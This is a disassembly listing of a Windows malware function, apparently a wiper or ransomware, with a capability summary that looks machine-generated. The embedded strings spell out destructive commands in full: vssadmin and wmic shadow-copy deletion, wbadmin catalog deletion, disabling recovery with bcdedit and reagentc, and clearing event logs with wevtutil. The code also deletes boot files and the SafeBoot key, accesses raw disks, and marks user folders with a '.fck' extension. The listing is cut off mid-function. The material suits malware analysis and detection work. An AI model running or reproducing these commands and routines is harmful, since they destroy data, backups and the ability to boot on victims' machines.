Function at 0x140007fb0
Capabilities:
Acquire debug privileges
Clear windows event logs
Create process on windows
Create thread
Delete file
Delete registry key
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features
Manipulate boot configuration
Query environment variable
Set current directory
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rbp + 0xd8], rax
lea rcx, str.SeAssignPrimaryTokenPrivilege
call fcn.1400011c0
lea rcx, str.SeAuditPrivilege
call fcn.1400011c0
lea rcx, str.SeBackupPrivilege
call fcn.1400011c0
lea rcx, str.SeChangeNotifyPrivilege
call fcn.1400011c0
lea rcx, str.SeCreateGlobalPrivilege
call fcn.1400011c0
lea rcx, str.SeCreatePagefilePrivilege
call fcn.1400011c0
lea rcx, str.SeCreatePermanentPrivilege
call fcn.1400011c0
lea rcx, str.SeCreateSymbolicLinkPrivilege
call fcn.1400011c0
lea rcx, str.SeCreateTokenPrivilege
call fcn.1400011c0
lea rcx, str.SeDebugPrivilege
call fcn.1400011c0
lea rcx, str.SeEnableDelegationPrivilege
call fcn.1400011c0
lea rcx, str.SeImpersonatePrivilege
call fcn.1400011c0
lea rcx, str.SeIncreaseQuotaPrivilege
call fcn.1400011c0
lea rcx, str.SeIncreaseBasePriorityPrivilege
call fcn.1400011c0
lea rcx, str.SeIncreaseWorkingSetPrivilege
call fcn.1400011c0
lea rcx, str.SeLoadDriverPrivilege
call fcn.1400011c0
lea rcx, str.SeLockMemoryPrivilege
call fcn.1400011c0
lea rcx, str.SeMachineAccountPrivilege
call fcn.1400011c0
lea rcx, str.SeManageVolumePrivilege
call fcn.1400011c0
lea rcx, str.SeProfileSingleProcessPrivilege
call fcn.1400011c0
lea rcx, str.SeRelabelPrivilege
call fcn.1400011c0
lea rcx, str.SeRemoteShutdownPrivilege
call fcn.1400011c0
lea rcx, str.SeRestorePrivilege
call fcn.1400011c0
lea rcx, str.SeSecurityPrivilege
call fcn.1400011c0
lea rcx, str.SeShutdownPrivilege
call fcn.1400011c0
lea rcx, str.SeSyncAgentPrivilege
call fcn.1400011c0
lea rcx, str.SeSystemtimePrivilege
call fcn.1400011c0
lea rcx, str.SeSystemEnvironmentPrivilege
call fcn.1400011c0
lea rcx, str.SeSystemProfilePrivilege
call fcn.1400011c0
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.1400011c0
lea rcx, str.SeTcbPrivilege
call fcn.1400011c0
lea rcx, str.SeTimeZonePrivilege
call fcn.1400011c0
lea rcx, str.SeTrustedCredManAccessPrivilege
call fcn.1400011c0
lea rcx, str.SeUndockPrivilege
call fcn.1400011c0
lea rcx, str.SeUnsolicitedInputPrivilege
call fcn.1400011c0
mov r8d, 0x104
lea rdx, [0x140029460]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x5c
lea rcx, [0x140029460]
call fcn.14000bf78
xor ecx, ecx
test rax, rax
je 0x1400081bc
mov word [rax], cx
lea rcx, [0x140029460]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, str.vssadmin.exe_Delete_Shadows__All__Quiet
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.wmic.exe_shadowcopy_delete__nointeractive
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.wbadmin.exe_delete_catalog__quiet
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.REAgentC.exe__disable
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__set_default_recoveryenabled_no
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.powercfg.exe__HIBERNATE_OFF
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.wevtutil.exe_cl_Application
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.wevtutil.exe_cl_Security
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.wevtutil.exe_cl_System
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r8d, 0x104
lea rdx, [0x1400281d0]
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov r8d, 0x104
lea rdx, [0x14002a4e0]
lea rcx, str.SYSTEMDRIVE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r8, str.cscript.exe
mov edx, 0x104
lea r14, [0x140029eb0]
mov rcx, r14
call fcn.14000f280
lea r8, [0x1400281d0]
mov edx, 0x104
mov rcx, r14
call fcn.14000f2e8
lea r8, str.System32_slmgr.vbs__upk
mov edx, 0x104
mov rcx, r14
call fcn.14000f2e8
call fcn.14000f6a4
movsxd rcx, eax
mov rbx, 0xffffffffffffffff
mov rsi, rbx
nop dword [rax]
inc rsi
cmp word [r14 + rsi*2], 0
jne 0x1400082e0
inc rsi
imul rsi, rcx
mov rcx, rsi
call fcn.14000a874
mov rdi, rax
mov r8, rsi
mov rdx, r14
mov rcx, rax
call fcn.14000f69c
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WinExec]
lea r8, [0x1400281d0]
mov edx, 0x104
lea rcx, [0x140027fc0]
call fcn.14000f280
lea r8, str.System32RecoveryWinre.wim
mov edx, 0x104
lea rcx, [0x140027fc0]
call fcn.14000f2e8
lea r8, [0x1400281d0]
mov edx, 0x104
lea r14, [0x140028a10]
mov rcx, r14
call fcn.14000f280
lea r8, str.Boot
mov edx, 0x104
mov rcx, r14
call fcn.14000f2e8
lea r8, [0x1400281d0]
mov edx, 0x104
lea rsi, [0x140029ca0]
mov rcx, rsi
call fcn.14000f280
lea r8, str.System32Boot
mov edx, 0x104
mov rcx, rsi
call fcn.14000f2e8
lea r8, [0x1400281d0]
mov edx, 0x104
lea rcx, [0x14002a6f0]
call fcn.14000f280
lea r8, str.System32winload.exe
mov edx, 0x104
lea rcx, [0x14002a6f0]
call fcn.14000f2e8
lea r8, [0x1400281d0]
mov edx, 0x104
lea rcx, [0x1400283e0]
call fcn.14000f280
lea r8, str.System32winload.efi
mov edx, 0x104
lea rcx, [0x1400283e0]
call fcn.14000f2e8
lea r8, [0x14002a4e0]
mov edx, 0x104
lea rcx, [0x140029670]
call fcn.14000f280
lea r8, str._ntldr
mov edx, 0x104
lea rcx, [0x140029670]
call fcn.14000f2e8
lea r8, [0x14002a4e0]
mov edx, 0x104
lea rcx, [0x1400285f0]
call fcn.14000f280
lea r8, str._boot.ini
mov edx, 0x104
lea rcx, [0x1400285f0]
call fcn.14000f2e8
lea r8, [0x14002a4e0]
mov edx, 0x104
lea r15, [0x140029250]
mov rcx, r15
call fcn.14000f280
lea r8, str.Boot
mov edx, 0x104
mov rcx, r15
call fcn.14000f2e8
lea r8, [0x14002a4e0]
mov edx, 0x104
lea r12, [0x14002ad20]
mov rcx, r12
call fcn.14000f280
lea r8, str.EFI
mov edx, 0x104
mov rcx, r12
call fcn.14000f2e8
lea r8, [0x14002a4e0]
mov edx, 0x104
lea rcx, [0x14002ab10]
call fcn.14000f280
lea r8, str._bootmgr
mov edx, 0x104
lea rcx, [0x14002ab10]
call fcn.14000f2e8
lea r8, [0x14002a4e0]
mov edx, 0x104
lea rcx, [0x140029880]
call fcn.14000f280
lea r8, str._bootmgr.efi
mov edx, 0x104
lea rcx, [0x140029880]
call fcn.14000f2e8
lea rcx, [0x140027fc0]
call fcn.140001400
lea rcx, [0x140027fc0]
call fcn.140001520
mov edx, 0x80
lea rcx, [0x140027fc0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [0x140027fc0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_emssettings__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_dbgsettings__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_badmemory__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_globalsettings__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_bootloadersettings__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_hypervisorsettings__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_resumeloadersettings__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_RamdiskOptions__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_current__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_default__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_memdiag__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_bootmgr__f
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.bcdedit.exe__delete_fwbootmgr__f
call qword [sym.imp.KERNEL32.dll_WinExec]
lea r8, str..GLOBALROOTdeviceharddisk0partition1
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk0partition2
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk0partition3
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk0partition4
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk1partition1
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk1partition2
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk1partition3
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk1partition4
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk2partition1
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk2partition2
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk2partition3
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk2partition4
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk3partition1
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk3partition2
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk3partition3
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk3partition4
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk4partition1
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk4partition2
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk4partition3
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk4partition4
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk5partition1
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk5partition2
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk5partition3
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk5partition4
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk6partition1
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk6partition2
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk6partition3
call fcn.140001280
lea r8, str..GLOBALROOTdeviceharddisk6partition4
call fcn.140001280
lea r8, str..PhysicalDrive0
call fcn.140001280
lea r8, str..PhysicalDrive1
call fcn.140001280
lea r8, str..PhysicalDrive2
call fcn.140001280
lea r8, str..PhysicalDrive3
call fcn.140001280
lea r8, str..PhysicalDrive4
call fcn.140001280
lea r8, str..PhysicalDrive5
call fcn.140001280
lea r8, str..PhysicalDrive6
call fcn.140001280
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rsi + r8*2], di
jne 0x1400087e0
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
lea rcx, [rsp + 0x30]
call fcn.1400016c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140008845
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008840
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1b4
call fcn.14000a830
lea rcx, [0x14002a6f0]
call fcn.140001400
lea rcx, [0x14002a6f0]
call fcn.140001520
mov edx, 0x80
lea rcx, [0x14002a6f0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [0x14002a6f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x1400283e0]
call fcn.140001400
lea rcx, [0x1400283e0]
call fcn.140001520
mov edx, 0x80
lea rcx, [0x1400283e0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [0x1400283e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
nop
inc r8
cmp word [r14 + r8*2], 0
jne 0x1400088d0
mov rdx, r14
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
lea rcx, [rsp + 0x30]
call fcn.1400016c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140008936
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008931
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1ba
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
inc r8
cmp word [r15 + r8*2], 0
jne 0x140008951
mov rdx, r15
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
lea rcx, [rsp + 0x30]
call fcn.1400016c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1400089b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400089b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1c0
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
inc r8
cmp word [r12 + r8*2], 0
jne 0x1400089d2
mov rdx, r12
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
lea rcx, [rsp + 0x30]
call fcn.1400016c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140008a38
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1c6
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8d, 0x2f
lea rdx, str..GLOBALROOTdeviceharddisk0partition1Boot
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
lea rcx, [rsp + 0x30]
call fcn.1400016c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140008ab5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ab0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1cc
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8d, 0x2e
lea rdx, str..GLOBALROOTdeviceharddisk0partition1EFI
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
lea rcx, [rsp + 0x30]
call fcn.1400016c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140008b32
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1d2
call fcn.14000a830
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSafeBoot
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140008b8c
lea rdx, str.SYSTEMCurrentControlSetControlSafeBoot
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, qword [rbp + 0xd0]
test eax, eax
je 0x140008b86
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140008ba0
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.SYSTEMCurrentControlSetControlSafeBoot
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea rcx, [0x1400285f0]
call fcn.140001400
lea rcx, [0x1400285f0]
call fcn.140001520
mov edx, 0x80
lea rcx, [0x1400285f0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [0x1400285f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140029670]
call fcn.140001400
lea rcx, [0x140029670]
call fcn.140001520
mov edx, 0x80
lea rcx, [0x140029670]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [0x140029670]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14002ab10]
call fcn.140001400
lea rcx, [0x14002ab10]
call fcn.140001520
mov edx, 0x80
lea rcx, [0x14002ab10]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [0x14002ab10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140029880]
call fcn.140001400
lea rcx, [0x140029880]
call fcn.140001520
mov edx, 0x80
lea rcx, [0x140029880]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [0x140029880]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str..GLOBALROOTdeviceharddisk0partition1_bootmgr
call fcn.140001400
lea rcx, str..GLOBALROOTdeviceharddisk0partition1_bootmgr
call fcn.140001520
mov edx, 0x80
lea rcx, str..GLOBALROOTdeviceharddisk0partition1_bootmgr
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, str..GLOBALROOTdeviceharddisk0partition1_bootmgr
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str..GLOBALROOTdeviceharddisk0partition1_bootmgr.efi
call fcn.140001400
lea rcx, str..GLOBALROOTdeviceharddisk0partition1_bootmgr.efi
call fcn.140001520
mov edx, 0x80
lea rcx, str..GLOBALROOTdeviceharddisk0partition1_bootmgr.efi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, str..GLOBALROOTdeviceharddisk0partition1_bootmgr.efi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8d, 0x104
lea rdx, [0x14002a2d0]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov r8d, 0x104
lea rdx, [0x14002a0c0]
lea rcx, str.PUBLIC
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r8, [0x14002a2d0]
mov edx, 0x104
lea rsi, [0x140027db0]
mov rcx, rsi
call fcn.14000f280
lea r8, str.Desktop
mov edx, 0x104
mov rcx, rsi
call fcn.14000f2e8
lea r8, [0x14002a2d0]
mov edx, 0x104
lea r14, [0x140028c20]
mov rcx, r14
call fcn.14000f280
lea r8, str.Documents
mov edx, 0x104
mov rcx, r14
call fcn.14000f2e8
lea r8, [0x14002a2d0]
mov edx, 0x104
lea r15, [0x14002a900]
mov rcx, r15
call fcn.14000f280
lea r8, str.Downloads
mov edx, 0x104
mov rcx, r15
call fcn.14000f2e8
lea r8, [0x14002a2d0]
mov edx, 0x104
lea r12, [0x140029a90]
mov rcx, r12
call fcn.14000f280
lea r8, str.Favorites
mov edx, 0x104
mov rcx, r12
call fcn.14000f2e8
lea r8, [0x14002a2d0]
mov edx, 0x104
lea r13, [0x140029040]
mov rcx, r13
call fcn.14000f280
lea r8, str.Music
mov edx, 0x104
mov rcx, r13
call fcn.14000f2e8
lea r8, [0x14002a2d0]
mov edx, 0x104
lea rcx, [0x140028e30]
call fcn.14000f280
lea r8, str.OneDrive
mov edx, 0x104
lea rcx, [0x140028e30]
call fcn.14000f2e8
lea r8, [0x14002a2d0]
mov edx, 0x104
lea rcx, [0x140027ba0]
call fcn.14000f280
lea r8, str.Pictures
mov edx, 0x104
lea rcx, [0x140027ba0]
call fcn.14000f2e8
lea r8, [0x14002a2d0]
mov edx, 0x104
lea rcx, [0x140028800]
call fcn.14000f280
lea r8, str.Videos
mov edx, 0x104
lea rcx, [0x140028800]
call fcn.14000f2e8
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
inc r8
cmp word [rsi + r8*2], 0
jne 0x140008eb4
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov r8d, 4
lea rdx, str..fck
lea rcx, [rsp + 0x50]
call fcn.14000a280
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002f90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140008f49
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1d8
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
inc r8
cmp word [r14 + r8*2], 0
jne 0x140008f64
mov rdx, r14
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov r8d, 4
lea rdx, str..fck
lea rcx, [rsp + 0x50]
call fcn.14000a280
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002f90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140008ff9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ff4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1de
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
inc r8
cmp word [r15 + r8*2], 0
jne 0x140009014
mov rdx, r15
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov r8d, 4
lea rdx, str..fck
lea rcx, [rsp + 0x50]
call fcn.14000a280
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002f90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1400090a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400090a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1e4
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
inc r8
cmp word [r12 + r8*2], 0
jne 0x1400090c4
mov rdx, r12
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov r8d, 4
lea rdx, str..fck
lea rcx, [rsp + 0x50]
call fcn.14000a280
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002f90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140009159
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009154
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1ea
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
inc r8
cmp word [r13 + r8*2], 0
jne 0x140009174
mov rdx, r13
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov r8d, 4
lea rdx, str..fck
lea rcx, [rsp + 0x50]
call fcn.14000a280
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002f90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14000920a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009205
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1f0
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
lea rax, [0x140028e30]
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140009230
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov r8d, 4
lea rdx, str..fck
lea rcx, [rsp + 0x50]
call fcn.14000a280
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002f90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1400092c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1f6
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
lea rax, [0x140027ba0]
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400092f0
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov r8d, 4
lea rdx, str..fck
lea rcx, [rsp + 0x50]
call fcn.14000a280
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002f90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140009385
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009380
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1fc
call fcn.14000a830
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
mov r8, rbx
lea rax, [0x140028800]
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400093b0
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.14000a280
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov r8d, 4
lea rdx, str..fck
lea rcx, [rsp + 0x50]
call fcn.14000a280
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002f90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140009445
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009440
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
